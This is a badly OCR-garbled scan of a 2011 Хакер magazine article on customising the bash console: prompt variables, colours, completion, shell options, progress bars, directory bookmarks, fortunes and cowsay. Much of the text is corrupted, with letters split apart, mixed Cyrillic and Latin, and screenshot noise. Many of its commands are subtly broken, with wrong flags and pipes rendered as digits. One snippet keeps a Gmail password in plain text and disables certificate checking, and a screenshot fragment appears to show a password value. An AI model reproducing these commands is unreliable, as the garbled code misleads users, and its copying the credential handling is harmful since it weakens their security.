Page 73: Хакер март 2011

Поднятая целина Осваиваем и обустраиваем консоль

Настроенный по дефолту терминал - унылое зрелище, отпугивающее новичков и наводящее тоску на гуру. Многое из того, что способен дать

..

командныи интерпретатор пользователю, оказывается скрыто за семью замками, а то, что остается доступным - просто неудобно. Перед тем, как консоль станет действительно сподручным инструментом, придется изрядно попотеть.

Полезная инсЬа в приглашении П р и глашение ком а ндного и нтерпретатора bash форми руется на основе соде ржи м о го переменной окруже н и я PS 1 . Есл и вер ить т а п - стра н и ца м , эта переменная может содержать л юбые строки , а также до вол ьно бол ьшой набор специальных управл я ющих с и м волов, которые п р и в ы воде п ри гл а ш е ­ния будут п ревра щен ы в а ктуальные да н -

� 082

н ые . Та к , н а п р и м е р , в дистрибути ве U b u n t u соде ржимое переменной PS l в ы глядиттак :

' $ ( dеЬiап_сhrооt : + ( $dеЬiап_

chroot ) } \u @ \ h : \w \ $ ,

А при вы воде на э кран превраща ется во всем знакомую строку в ида:

юзер@имя_хоста : текущий_катапог$

Н етрудно догадаться, что юзер здесь появ­ляется за счетуп равляющего сим вола '\u ' , имя хоста - за счет '\h ' , а текущий каталог - это '\w ' . Н еуклюжая зап ись , содержащая в себе слова dеЬ iап_сh гооt , это всего л и ш ь индикатор того, находится л и п ол ьзователь в сhгооt-окружении . Такое лаконичное пригла­шение, конечно , удобно, н о содержит далеко не всю и нформацию, которую bash способен отобразить. В его а рсенале есть как м и н и мум

ХАКЕР 03 / 1 46/ 20 1 1

Page 74: Хакер март 2011

Команда alias, вызванная без аргументов, выдает перечень используемых псевдонимов

два десятка разл ичных управля ющих последовательнос­те й , о которых м ногие пользо ватели даже не подозрева­ют. Вот сп исок наиболее и нтересных из них :

\ д - текущая дата

\ j - количество фоновых заданий

\А - текущее время

\ ! - номер команды в истории

Кроме того, в PS 1 вполне м ожно использовать текущие переменные окружения , а если учиты вать, что п еред каждым вы водом на э кран PS 1 переч итывается , то туда можно за сунуть та кие вкусности, как, например , статус последней выполненной кома нды [переменная $? ) , чтобы з нать, было л и ее испол нение успешным . Управля ющий сим вол '\п' также допустим в PS 1 , поэтому п р и глашение к вводу можно сделать м ногостроч н ы м , а заодно визуально отделить его от остал ьного текста [с помощью начальной пустой строки ) :

P S 1 = ' \ n \ w \ n \ u @ \ h : $ ? \ $ ,

Но и это е ще не все . П р и м е р с и нди катором c h root­окруже н и я показывает, что в п р и гла ш е н и и м ожно испол ьзо вать вы вод л юбых сторонних п р иложе н и й , а это откры вает п росто безгра н и ч н ы е воз м ожности по е го касто м изации . Например , следующим образом в п р и глашение м ожно добавить дан н ы е о текущей пого­де, кол ич естве непрочита н н ы х писем в g ma i l и уро вне си гнала Wi-F i :

$ vi -I.bashrc

# Gооglе-погода

weather ( ) (

# Где мы?

local c i ty= "Moscow "

curl -s '' http : / /www . google . com/ i g /

api ?weather= $ c i t y " 1 sed ' s l . * < t emp_c data= " \

( [ Л " J * \ ) " / > . * 1 \ 1 1 '

}

# Gооglе-почта

ХАКЕР 03 / 1 46/ 20 1 1

,��t:�:::д.'t)<тrrументw ,_треме 5уф� Qll.нo Ene;oding ttelp СОР'·К' -----4

we.ther ( ){ , Где мы? 10(.1 (1 ty ... ·Нoscow .. сигl ' 1 ''http ://_.90091 •. cOll/19/�i1 ...... ther.$Ci ty'' I \

sed ' sl . .. <tel\lP_c d.t"",", ( [' '' j ''\) "/'', '+I \l l '

, Goo;1,-nO't'8 unre.d_l'IIal1 ( ) {

, � . non.,ot,,'PII 11 nараn .. (6., Gg .... il.cofl) 10(.1 1091П"';::оbrпп" 10(.1 pilssvord""83fCilst.kR" wget .. secure- ргоtосоl::ТLSV! · · tl"0ut_з ·t 1 - q - о . \

httрs://${1091П} :${р.oiIsswoгd}@luit .9GOgt, .(01ll/-.il,f •• d,оtо81 . . no· ch,cJ..-cert! fl,.tO I ,rep futtcoLrlt I sed "s/<fultcount .. , I . *\J "\lfutlcount"I\1/"

, Cмr;lH.tII wi·Fi wlfi ( ) {

'8bin/i'«onfi; w1.no 1 gTep ()l;ltity 1 \ cut · d • ·f2 1 ;iwk '{рГln! $1) '

, .".ы. co1or �poг! of 1. Ind ;1180 .cId hlt'ldy ;lHalll if I 0:11 /ulr/bin/dirco1or. 1 ; thln

fi

tlst ' Т -/,diгсоlот& '" е"а1 '''$(dHco1ors ·Ь -/. dl rc010r5} " 1 1 ." .. 1 "'S(dlrco1ors ·Ы" .. lias 1,.' 11 · ·co1orz:auto ' ';I\ial dir.' dir · ·co1orquto' ';l1i •• vdir.' vdir ··co1or .. uto'

.. 1i .. 5 gr.p.'Qrf1) · ·cotor=JIuto · ;l1ia. fQr.p." gr.p · · со1огчutо ' alias .;r.p.' eIjIT.p · ·color...uto ·

Редактируем конфиг bash

unread_mai l ( ) { # имя пользователя и пароль ( без @gma i l . com)

local lоgiл= " логин "

local password= " пароль "

wget - - s есurе-рrоtосоl =ТLSv1 - - t imeou t = 3

- t 1 - q -O - https : / / $ { login} : $ { password } @

ma i l . google . com/ma i l / feed/atom - -no­

check-cert i f icate 1 grep f u l l count 1 sed

" s / < fu l lcount > \ ( . * \ ) < \ / fu l lcount > / \ l / "

# Сигнал wi-Fi

w i f i ( ) {

/ sb i n / iwconf i g wlanO 1 grep Qual i ty 1 cut -д = -f2 1 awk ' { print $ 1 } '

}

P S 1 = ' \n ' weather ' : ' unread_mai l ' : ' w i f i ' : \w \ n \

u @ \h : $ ? \ $ ,

Все это нужно поместить в конец -/. bash rc и выста вить на файл права 600, чтобы н и кто не смог подсмотреть парол и . Резул ьтат будет примерно та ким :

- 7 : 3 2 : 7 0 / 7 0 : /usr/ local

j lm@1 3 1 3 : 0 $

Раскрашиваем консt>ль П р и работе в консол и пол ьзователь часто получает боль­шое кол ичество н и ка к не отформатированной инфор­маци и . П орой выбрать в потоке данных действител ьно необходи мое Довол ьно сложно. Благодаря специал ьным непечатаемым еsса ре-последовательностям м ы може м изменить цвет и фон вы води мых си мвол ов, чтобы обле г­чить восприяти е данных . Все еsсаре- последовательности заключаются в \[\033 [ и \] , а после кода цвета должна еще стоять буква т. Все цвета расписаны в справочной стра н и це. Например , черному соответствует 0 ;30 , зеленому - 0;32 , красн ому -0 ;3 1 , желтому - 1 ;33, бело му - 1 ;37 и так далее. Чтобы в строке п р и глашения ВЫ ВОДИЛ И С Ь и м я систем ы [символ h ) и логин пользователя [u ) , подсвеченные красным цветом , а текущий каталог - желтым [w ) , в конфиге -/. bashrc заменяем значение переменной PS 1 на следующее:

P S l = " \ [ \ 0 3 3 [ О ; 3 1т\ ] \ u @ \ h : \ [ \ 0 3 3 [ 1 ; 3 3m\ J ( \w ) \

� i nfo • Во FreeBSD использовать гsупс для получения прогресса копирования файлов нет смысла. Можно просто нажать <Ctrl+ т > во время работы ко ма нды ср, и она сама выдаст прогресс операции на экран .

• Чтобы сделать mап-стра н и цы цветными , уста нови пакет most с помощью па кетного менеджера и доба вь строку « ехрог! MANPAGER="/usr/ bi n/most -5» В файл -/bashrc .

• Кома нда « stty -echo» откл ючает вы вод в терминал того, что наби рается на клавиатуре. П одобное поведение можно набл юдать при вводе па роля при логи не в те рми нале.

• Убрать курсор из терминала и выключ ить гашение экрана можно с помощью ко манд « setterm -cursor off» и « setterm -bla n k О» .

� l i n k s • Сайт разработчика fortu ne-mod -ru : lack . k iev. ua/fortu пе­mod -ru

• Сайт проекта bash­DirB [D i rectory Book­ma rks for BAS H ) : d I rb . i n fo/bash D i гВ .

� 083

Page 75: Хакер март 2011

init.d : bash [J Файл Правка Вид Закладки Настройка Справка

Корректировка ошибок в bash

adept@adept - laptop : /$ cd /ect/init . d /etc/init . d adept@adept - laptop : /etc/init . d$ I

л

v

init.d : bash [ \ 0 3 3 [ От\ ] \ [ \ 0 3 3 [ От\ ] "

П р и необходимости через точку с запятой можно указать цвет фона. Для этой цел и испол ьзуются числа от 40 [черный] до 47 [белый ] .

PSl = " [ \ 0 3 3 [ 3 2 ; 4 0m\w\ [ \ 0 3 3 [ Om\ ] > "

Все это также можно использовать в скриптах, хотя, чтобы не путать­ся, в этом случае лучше задействовать переменные , которые потом и вызы вать в нужном месте. Например :

l о с а l GRAY= " \ [ \ 0 3 3 [ 1 ; 3 0т\ ] "

l осаl NO_COLOUR= " \ [ \ 0 3 3 [ От\ ] "

Н е забываем о том, что некоторые команды поддерживают цветной вы вод. П роще это реш ить при помощи алиасов:

alias ls= ' l s --color=auto '

alias grep= ' grep - -color=auto '

И та к далее. За настройки цветов каталогов и файлов с разным расширением от­вечает утилита d i rcolors, устанавл и ва ющая перемен ную LC_COLORS. Чтобы получить все значения, просто вводи м :

$ dircolors - -print - database

Использовав полученный резул ьтат как шаблон и сохра нив его в / etc/D I R_COLORS [либо в персональном конфиге -/dir _colors] , можно создать свою раскраску. П рогра ммистам будет очень полезен cout Icode.google.com/p/cout] ­небольшой скрипт на Python , подсвечивающий вы вод make, gcc, svn и d iff. С крипт не требуетустановки, просто скачиваем и распаковываем архив, а затем создаем псевдоним :

$ аl i a s makec= ' cout data /make- gcc . c f g '

Теперь проверяем работоспособность, испол ьзуя заранее подготов­ленный Makefi le :

$ makec - f Make f i l e

Автодополнение bash Одна из самых удобных фун кци й , имеющихся в bash - автодополне­ние команд по кла више < Та Ь> . К этому быстро привыкаешь, и кажется , что улучшить уже ничего нельзя. Однако в разных дистрибутивах автодополнение работает по-разному. Нап ример, в современных Liпuх-дистрибути вах, ориенти рованных на обыч ного пользователя , bash не только дополняет саму команду, но и п редла гает дополнительные пара метры. Одна ко в Gentoo и п роизвод­ных [вроде Calcu late Linux] такого нет. Здесь приходится пом н ить все параметры назубок. Как такое может быть? Некоторые разработч ики

� 084

дистрибутивов используют патченые версии bash? На самом деле, возможность а втодополнения в bash - расши ряемая функция. За необходимую функциональность отвечает встроенная команда compgen, генерирующая соответствующие списки. Все настройки про изводятся в файле /etc/bashJompletion [или пользова­тельском -/.bash_completion] , хотя в некоторых дистрибутивах можно найти целый каталог /etc/bash_completion .d , в котором обычно собраны настройки, специфичные для отдел ьных программ. В самом простом случае файл содержит программу и указания для bash подополнению имен файлов. Например, чтобы M Player предлагал пользователю в качестве автодо­полнения только файлы с расширением avi и mpg, пишем такое правило:

complete -f -х ' ! * . @ ( avi I mpg I AVI I MPG/so ) , mplayer

Но это самый простой вариант, ведь М Player имеет большое количество дополнительных параметров, а значит, ему потребуется описать шриф­ты, звуковые файл ы, субтитры и такдалее. Все это легко решается при помощи оператора case. Поддержива ются регулярные выражения , что немного упрощает создание правил. Обычно майнтейнеры конкретного па кета сами составляют списки параметров программы для bash_complet ion. Ника ких чудес здесь нет. Например, для tar создаем такое правило:

COMPREPLY= ( $ ( compgen -W ' с t х u r d А' - - " $cur " ) )

Как видишь, мы просто перечислили все пара метры, и теперь в процес­се ввода bash сам выдаст этот список. Команда сотрgеп и меет ряд параметров. Та к '-Ь' позволяет получить список встроенных команд оболочки, ' -с ' - имена команд, '-v' - имена переменных и такдалее. Все подробности можно найти в тап-странице bash, в секциях complete и compgen.

Продвинутые настройки Bash - довольно развитый командный интерпретатор , поддержива­ющий кучу разных настроек. Причем из этих настроек можно получить

Перенос директории dotfiles

Перенос директории dotfiles с одного компа [ I P-аАрес 1 92 . 1 68 . 1 1 ,

п орт 1 0000] на другой при помощи netcat и pv:

host l $ tar - c f - dot f i l e s I pv I пс -1 -р 1 0 0 0 0 - q 5

host2 $ пс 1 9 2 . 1 6 8 . 1 . 1 1 0 0 0 0 I pv I tar -xf -

В случае, если host 1 работает под управлением OpenBSD, коман­

да должна выглядеть так:

obsdhost l $ tar -cf - dot f i les I pv I пс -1 1 0 0 0 0

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 76: Хакер март 2011

TepMMMall ... ' "'""" .... Пgмc:or. I�",MHaII g,pмц wи�s.г-vlгtg.\-ме;"lп. - S \S /etc/bash_c08pletion .d/

-"', сир! ." '" a�che2ct1 cvsps apport_CQlaPletion dd .,. debcon1 /IIpt-Ьu1\d desktop-file-va1idate /IIptltude dl!ct1ent /IIspe\l dlct /IIutorpa "'" /II.l.l-с/llсhe dse\ect bash-bul\t1ns dsnif1 blnd-ut1\s tindut1\s bitkeeper fгeeciv bittorrtnt fuse blue2 '" brctl ,,' bzlp2 ." C/llrdct\ 4)t!пisоiIщJе cfell'jllne �tent chkconf19 9kreH. chsh gnatuke cksfv '" cl1sp ",2 conf19ure gvfs-b/llsh-conpletlon.sh coreut1\s gtip cowsay helltdal cpan2dist lIpin92 cpio iconv crypt5etvp 1fupdown .. s.rtus.r-virt�l.-.. cltiм - $ I

Uta9tfЩ1i(k .edusa lп10 8inl(08 lnltrufs-tools 8k1nitrd lnsserv IIOdule-iпit-tоо\s lpt11tool :���Yel0p ipsec lptab\es .р\ауег ipytjc/lllc .synctool Isq\ .unin-node j" .иН j/llv<! lIIysq\ad8Un kЭ' ncttp kld\ad net-too\s \/IIrch �p \dopvl ntpdate lftp ooffice.sh \1\0 ореп\пр \1nks open!!l lintl;m " Hsp .. ', ,,, plne ',м pk9-conti9 llop pk9_1nst/llH ./IIHun pkgtoo\s м" ptI-utils

'" " portupgr/llde .crypt postfi.l. M/IIdlll po5tgresq\

роугау ,,' РГОСР' sysctl python sysv-rc ,,"', ас """ tCpdUllP quot/ll-tools , .. '" rdesktop unr/llf reportbU9 up4ate'/II\terflllt1ves resolvconf ut1\-11nu.l. г1МН vn(vlewer " 'р'" грсОеЬи9 wlге\е$S-tоо\s ' .. """' rp8Check .." rrdtool "" rsync wdial rtcwake .I.I'IoН , .... п 'Ьс\ oHint 5сгееп о, .. ,еГУlсе sh/llOow .I.гаl'\dг sltecopy .l.s\tproc saartctl " snownews yp-tools '" y.-arch 55hfs

в юзер-ориентированных дистрибутивах разработчики позаботились об автодополнении команд

гораздо больше профита, чем из настроек поведения терминала, вы­полненных с помощью утилит sеttегm и stty. С писок всех воз можных опций можно посмотреть кома ндой « shopt -р» [shopt - сокращение от Shell Opt ions] . При ведем самые интересные из них : • autocd - если эта опция включена , то можно просто написать путь к каталогу [опустив кома нду cd] , чтобы в него переместиться ; • cdspell - bash будет пытаться исправлять простые опечатки [напри­мер, /ect/in i t .d вместо /etc/in i t .d ] в аргументах команды cd ; ; • checkJobs - не дает выйти из консол и , пока в ней есть выпол няющи­еся задания ; • cmdhist - объединение многострочных команд в одну строку та к , чтобы тебе было проще искать их в истории ; • d i гspell - исправление небольших ошибок в написании имени директории при а втодополнении ; • globstaг - позволит использовать конструкцию вида " , обозначаю­щую « все файлы, начиная с текущего катаЛОГа , рекурсивно» ; • Очень удобный новый wildсhаг - например , да нная конструкция отобразит все тр3 в текущем и вложенных каталогах:

$ 1 в * * / * . mр3

Согласись, это гораздо короче и удобнее, чем :

$ f ind . / -пате " * . mр3 " - type f -print

Уста навли ваются опции следующим образом :

$ shopt - В autocd cdspell checkjobs cmdh i s t dirspe l l

globstar

Пишем в твиттер легко и непринужденно Простая функция, отправляющая сообщения втвиттер:

$ vi - / . bashrc

twit ( )

{

cur1 - -bas ic - -user юзер : пароль - - data

status= " $ * " ' http : / / twitter . com/ statuses /update .

хт1 ' - о /dev/nu1 1 ;

Использоватьтак:

$ twi t ' Привет из консоли '

Не забываем про 1 40 символов.

ХАКЕР 03 1 1 461 20 1 1

. ... ФII\JI �.1Цi 8МА ЖУРНaII ]iIOI./IAдKM МatТPO;I.... C'npI'�1

grlnder@grinde r:-S upt1me I cowsey

/ 14:49:45 ир 3 : 18, 2 users. l.oad \ \ lIverage: в.81, е.Вб, в.11 I

\ \ (0'0)\

{ )\--)\/\ 1 1 · · · ·w 1 1 1 1 1

grlnder@grlnde r : -S COWSlIY ' fortune'

I Уои learn to write as 11 to 50lllеопе \ I e\se beclIuse НЕХТ YEAR YQU WIll ВЕ I \ ·SOHEONE ElSE . · /

\ -\ (00)' __

( )\ )\/\ 1 1 · · · ·w 1 1 1 1 1

gгlпdегфgгlпdе г:-s .

Коровка в консоли может выводить полезную информацию

ultrtultг-vlгtиl.-.. сhln' - S diгсоlогs --prlnt-63tllbi!llse , conf19ur/llt1on fi\e 1or dlrco\ors, а ut1Hty to help you set the • LS_COLORS enviror8ent v/llfl"ble usec! Ьу GNIJ \$ w1th the - -color арНоп. ' Copyright (C) 1996, 1999-2919 free Sof tlIIIIre Fourмlation, Inc. ' (09yit\9 "nd distrlbut10n 01 th1s (Не, with ог wlthout 8OdifiC/lltlon, I аге perwitted provided (М copyright поНсе мd (М! I'IOtlce /IIre preserved. ' ТМ keywords COLOR. OPТIoнs. IIпd EI(jIПВП (hooored by the ' S\/IIсмге vегsl0п оf dlГСО\ОП) /IIге гесogniled Ьut lQnoгtd. ' 8elow, there $hou\d ье O� TEflН entгy (ог e/llch ter.type th/llt i$ coloritable ПRН Etег. TERН /IInsi TERM color-.l.tеna ПRН con132.1.2S ПRН сcm132хЗ8 � ТEf\Н сопlЗЬЮ ТЕRМ соп132_б8 ТERМ con8&_2S TERМ ccm8&.l.Z8 ТЕР.Н соn88_З8 I TERН ccn8&xO TERН con88.1.S8 ТERК соп88хб8 ТERН cons2S TERН console TERК cygwin TEP.К dtteГII ТeJI,Н еtеГll-соlоr ТERI'I gn08e ТЕJIJI gПOlll!-2Sбсоlоr ТЕPJt j1ЬtеПl TERМ konso\e TeJl,Н ktef1l ТEPJt linu.l. TERIt Hnwr.-с ТERК Nch-color ТЕRМ .1tеПl TEi'I" putty ТEPJl гxy! ТЕRН ГJ(Vt-2Sбсоl0r TERM f.l.vt-суgwlп :i

� QUA ... Г11U1 3.Cl. 1);S' '@I t /

Выводим базу данных LC_COLORS

Кроме того: 1 . Bash умеет сокращать путь к текущему каталогу в п р и гла ш е н и и , если он ста нов ится сл и ш ком дл инным . Для управления этой фун­кцией предусмотрена перемен ная окружения PROM PT_D I RTR I M . П р и превышении уровня вложен н асти каталогов, указан ного в этой переменной , путь будет сокращен. П ример использова н и я :

$ export PROMPT_DIRTRIM=3

2. Bash поддержи вает « ум ный» метод помещения ко манд в историю, позволяя освободить ее от банальностей вроде ls . В историю не будут п опадать дубл и каты и команды ls, Ь9 , f9 , ex i t после выпол нения следующей команды:

$ export HISTIGNORE= " & : l s : [ bf ] g : exi t "

3 . Bash умеет делать та к , чтобы команды, выполненные с исполь­зованием sudo , авто матически по падали в файл истории гооt'а и не засорял и историю пользователя . П роста добавь следующую строку в файл /еtс/Ьаsh . Ьаsh гс :

export HI STFILE=$HOME/ . bash_h i s t - ' whoami '

Индикатор прогресса Отсутствие индикатора прогресса у большинства кон сол ьных утилит - одна из главных проблем для тех , кто часто работает в консол и . И хорошо, есл и под рукой есть тс, который многие так и испол ьзуют, чтобы получить окошко с п рогрессом. А что если это голая консол ь, а тебе требуется сохра н ить бэкап на фл ешку, смонтирован ную в режи­ме sync? В этом случае тебе поможет гsупс, который хоть и нескол ько замедляет процесс копирования , н о зато обеспеч ивает вы вод на э кран ш калы прогресса. Помещаем в -/. Ьаshгс следующую строку:

� 085

Page 77: Хакер март 2011

Так работает автодополнение в fish

j lm@1313 �> ер -­

--arehlve --baekup --baekup= --eontext --eopy-contents

dereferenee -- force --he l p -- i nterac t l ve -- I l nk --no-dereference --no-preserve --no-targe t-d l rectory --one-fl l e-system --parents --preserve --preserve= -- recurslve

( Same as -dрR) ( Make backup o f each e x i st lng des t l na t l on f l l e ) ( Make baekup o f each e x l s t l n g ' dest l na t l on f l l e )

(Set secur l ty context o f сору t o CONTEXT) ( Сору contents o f spec l a l f l les when recur s l ve )

( A l ways fo l l ow symbo l l c I l nk s ) (00 not prompt before overwr l t lng )

( D l sp l ay h e l p and ex l t ) (Prompt before overwr l te )

( L l nk f l l es I nstead o f copy l n g ) (Never f o l l ow symbo l l c I l nks)

(Oon ' t preserve the spec l f l ed a t tr l butes) ( Treat DEST as а погтаl f l l e )

(Stay о п th l s f l l e system) (Use fu l l source f i l e пате under O I RECTORY)

( Preserve the spec i f i ed attr i butes and secur l ty contex t s . I f poss i b l e ) ( Preserve the spec l f l ed attr l butes and secur l ty eontexts . l f poss l b l e )

( Сору d i rector l es recurs i v e l y ) --remove-dest lnat lon ( Remove each e x i s t ing dest i na t i on f l l e before a t temp t l ng to ореп 1 t (contrast w l th --for . . . ) --sparse --s t r l p-tra i l i ng-sl ashes --suf f l x

symbo l l e- I l n k -- target-dlrec tory --update --verbose --verslon j l m@1313 �> ер --1

a 1 i a s cpr= ' rsync - -progres s '

и используем команду срг вместо ср :

$ cpr f i le1 f i 1 e2

Если добавить опцию ' - - remove-source-f i les' , то исходные файлы

( Con trol crea t l on o f sparse f l l e s ) (Remove trai l i ng s l ashes from source)

( Backup suff i x ) (Make symbo l l c 1 1 nks Instead o f copy l n g )

(Target d l rector y ) (00 not overwr i te newer f l l e s )

( Verbose mode) ( O l sp l ay vers i on and exl t )

скрипт D i rectoгy Bookmarks for BASH [d i rb i n fo/bashDirB) расширяет набор сокращений , п озволяя на л ету создавать закладки на нужн ы е каталоги и переходить в н и х короткой командой. Скачиваем:

$ wget - с http : / /www . dirb . info /bashDirB -о - / . bashDirB

будут удале н ы [правда, следует помнить, что в п ределах одной И добавляем в файл -/. bashrc строку: файловой системы mv гораздо быстрее rsync) . Еди нстве н н ы й м и нус - прогресс отображается для каждого файла в отдельности, общий source - / . bashDirB

прогресс увидеть нел ьзя . Чтобы увидеть ход выполнения , например , п р и созда н и и архива , Теперь каждая новая сессия будет поддерживать закладки. П ерехо-м ожно испол ьзовать утил иту pv [Pipe Viewer). Технически она п ред- дим в нужный каталог и сохра няем е го в закладку: ста вляет собой замену ста ндартного cat, способную не тол ько тупо коп и ровать байты на выход, но и показ ывать прогресс этой операции . $ cd / v a r /www

Например : $ s www

$ tar -czf - /path/to/dir I ру > /path/to/archive.tgz После этого будет создан файл -/. D iгВ/www, содержащий ссылку на

7 5 8МВ 0 : 0 1 : 2 9 [ 8 . 4 8MB/ s ] [

Уже хорошо. Но не хватает времени завершения . Для этого надо п ередать утилите pv размер каталога [в ба йтах) с помощью кл юча ' -s ' :

$ t ar - c z f - /path l to/dir I p v - s $ ( du -sb /path/ to/dir I grep -о ' [ 0 - 9 ] * ' ) > /pat h / t o / archive . tgz

4 6 1МВ О : 0 0 : 21 [ 3 2MB/ s ] [ = = = = = = = = = = = = = = = = = = = = = = = = = = = = =

:::= ::::= = = = = = = > ] 6 0 % ЕТА О : 0 0 : 1 3

Каждый раз наби рать такую конструкцию н е очень удобно , луч ше сделать алиас.

Закладки каталогов в консоли При выпол н е н и и операций админ истрирования приходится часто переходить по катало га м файлового дерева. Bash поддерживает ряд сокращений [например , чтобы вернуться в дома ш н и й каталог, п росто вводим «cd» , в п редыдущий каталог - «cd - » ) , но этого мало. Конечно , можно испол ьзо вать псевдонимы [a liases) , вроде:

a 1 i a s cdwww= ' cd /var/www '

Но этого все равно б ы вает недостаточно в том случае , если спи­сок каталогов большой . И главное - использова ние алиасов не очень удобно . Та к, чтобы создать новый псевдо н и м , нужно вручную прописать е го в -/. bashrc и перезапустить терминал . Н ебольшой

� 086

закладку. Теперь, чтобы вернуться в указа н н ы й каталог с л юбого места файловой системы , достаточно ввести в консоли « 9 WWW» . Аналогич­ным образом можно создавать любое кол ичество закладок. Но это не все пара метры . Например , пара метр «р» позволяет запом­н ить последн ие перемещения и выводит ИХ в КОНСОЛ И :

$ p www

/var/www

How much is the FISH?

Новичкам в консоли следует внимательно посмотреть в сторону альтернативного командного интерпретатора под названием FISH [Friendly I nteractive Shell). Его преимущества перед bash довольно вну­шительны. Fish на полную катушку использует возможность управле­ния цветами терминала. Он оснащен гораздо более мощной системой автодополнения, которая выводит на экран не только списки катало­гов, аргументов и имена команд, но и массудругой полезной информа­ции [например, рядом с каждой опцией помещается описаниетого, что она делает). в Fish встроена очень хорошая система подсказок, так что еслиты допустишьошибку, то получишь обширное разьяснениетого, что произошло, и способы обхода проблемы. Наконец, скриптовый язык Fish гораздо проще и логичнее стандартного языка sh.

Page 78: Хакер март 2011

: tar

Файл Правка Вид Закладки Настройка Справка

�dept@adept - 1aptop : /$ ta r -czf - /path/to/dir ру -5 $ ( du - 5Ь /path/to/dir I g rep -о ' [0 - 9 ] * ' ) > л

/path/to/a rchive . tgz а г : Удаляется начальный ' / ' из имен объектов _214МВ 0 : 00 : 42 [ 5 1 18МВ/5 ] [ ===--===============> ] 38% ЕТА 0 : 01 : 07

tar и индикатор процесса

fйIJ "" Файл Правка Вид Закnaдки Настройка Справка

adept@adept - 1aptop : /va r/1og$ l s a1te rnatives . 1og apache2/access . 1og apache2/e r ro r . 1og apache2/othe r vhosts access . 1og

109 : bash

**/* . log auth . 1og boot . 1og bootst гар . 10g daemon . 1og

j ockey . 1og kdm . 1og ke rn . 1og 1 p r . 10g

pycent ra1 . 1og ufw . 1og

л

a ppo rt . 1og - -

apt/histo ry . 1og apt/te rm . 1og adept@adept - 1aptop : /va r/1og$ I

dpkg . 1og fontconfig . 1og insta11e r/caspe r . 1og

mai1 . 1og pm- powe rsave . 1og pm- suspend . 1og

use r . 10g vbox - insta11 . 1og Xorg . 0 . 10g Xo rg . fai1safe . 1og

� I09 : bash Рекурсивный глоббинг В bash4

И , на конец, кома нда 5 1 позволит просмотреть л истинг за кладок. Для удаления закладки испол ьзуем кл юч ' - г' .

Также сл едует знать, что bashD i rB моди фицирует перемен ную PSl та ким образом, что в п р и гл а ш е н и и вы водится время и номер текущего каталога в h istory. Если тебя это не устра ивает, п росто закомм ентируй соответствующую строку в скрипте . В кач естве альте рнати в ы bash D irB можно ис пол ьзовать a ppari x (тlсапs . о гg/арра гiх) , п редл а гающий т р и команды: Ьт !созда н и е закладки ) , to ( переход к закладке) и portal (добавление подка­талогов в закладки) Помимо bash также поддерживается csh . П а кет доступен в ре позита р и и DеЫап/U Ьuп tu и некоторых других дистри бути вов.

Фортунки В некоторых L iпuх-дистрибутивах после за пуска консоли выво­дится н ебол ьшая цитата . П ра ктической пользы от нее в роде и н ет, но н ебольшое шуточное высказы вание повышает настроение и настраи вает на рабоч и й лад; Тематические па кеты с база м и выска­з ы в а н и й называются lort u n es, а сами цитаты - фортунка м и . За нескол ько десятков л ет в С ети появилось бол ьшое кол ич ество сбо р н и ков цитат, кото рые л е гко и нтегри руются в консоль. Чтобы уста но вить их в DеЫап или U bun tu , достаточно ввести кома нду:

$ sudo apt -get insta 1 1 fortunes fortune s -debian­

h i t s fоrtuпе s - u Ь u пtu-sеrvеr fortunes -min fortune-mod

fortune s - ru

Последние два па кета содержат бол ьшое кол и чество афоризмов на русско м . Кроме этого, в и нтернете доступ н ы и другие русскоязыч­н ы е сборки фортунок , найти которые очень п росто - достаточно вбить в Гугле lort u nes-ru и получ и м нескол ько десятков ссылок ( например , избра н н ы е цитаты с са йта li пuх .огg. гu : lorguotes. rul lort unes .php) . После уста н овки н еобходи мо настроить вы вод цитат в консоль. В самом п ростом случае достаточно п рописать в ко нфиг -I.bashrc всего одно сл ово :

$ echo " fortune " » - / . bashrc

Дал ее сл едует п ереза пустить тер минал и л и п ереза грузить файл на­строек ( кома нда « source -I. bashrc» ) . С п исок в ы води м ы х категор и й фортунок можно получ ить, введ я :

ХАКЕР 0 3 ' 1 46/ 20 1 1

'1

$ fortunes - f

После установки все фортунки помеща ются в оди н и з подкатало­гов lusrlshare/ga mes/lo rt unes , откуда их и заби рает программа . В случае н еобходимости п р и помощи кл юча ' - т ' можно указать шаблон фортунок , которые будут выводиться . После доба вле н и я своих фортунок следует испол ьзовать утилиту strl i le для созда н и я инде кса (strf i le фа Йл_фортунок ) .

л v

П р и жела н и и можно грабить RSS-но вости, твиты , п рогноз погоды или коти ровки валют с л юбого са йта , вы водя их в кач естве фо рту­нок . Хотя для этого м н е бол ьше н ра вятся аналоги lort u n es - па кеты cowsay и xcowsay. Cowsay предста вляет собой п р иложе н и е на Perl, которое вы водит изображе н и е гово рящей или дума ю ще й ко ровы , нари сова н ной АSС I I -символ а м и .

$ sudo apt -get i n s t a 1 1 cowsay xcowsay

По умол ч а н и ю корова не з на ет, что сказать, умную м ы сл ь ей надо подки нуть. Например , вы ведем u pt ime :

$ upt ime I cowsay

Или фортунку (та к реал изовано в L inux M i n t ) :

$ cowsay ' fortune '

Кроме ста ндартной коровы доступны и другие персонажи, соот­ветствующие назва н и ю файлов в подкаталоге lusrlsha re/cowsayl cows. Вызвать их можно п р и помощи параметра ' -1 ' . Также ряд параметров изменяют в н е ш н и й вид коро в ы : '-t ' - усталая корова, ' -р ' - пара ноидал ьная , ' -w' - обалдевшая и та к далее . Чтобы а вто­матизировать п роцесс, заносим строку за пуска в -I. bashrc :

COWDIR= /usr/ shar e / c owsay/ cows / ;

COWNUM=$ ( ( $RANDOM% $ ( l s $COWDIR I wc - 1 ) ) ) ;

COWFILE=$ ( l s $COWDIR I sed -п ' ' $COWNUM ' р ' ) ; fortune I cowsay - f $COWF ILE

Заключение Собственно , это все . Следуя рекомендациям , описа н н ы м в статье , ты сможеш ь сделать работу в консоли гораздо более удобной и про­дукти вной , а также освободить время для более важн ы х заняти Й . :Х:

� 087

Page 79: Хакер март 2011

Зоопа к на ка антине Запускаем небезопасный софт без вреда системе

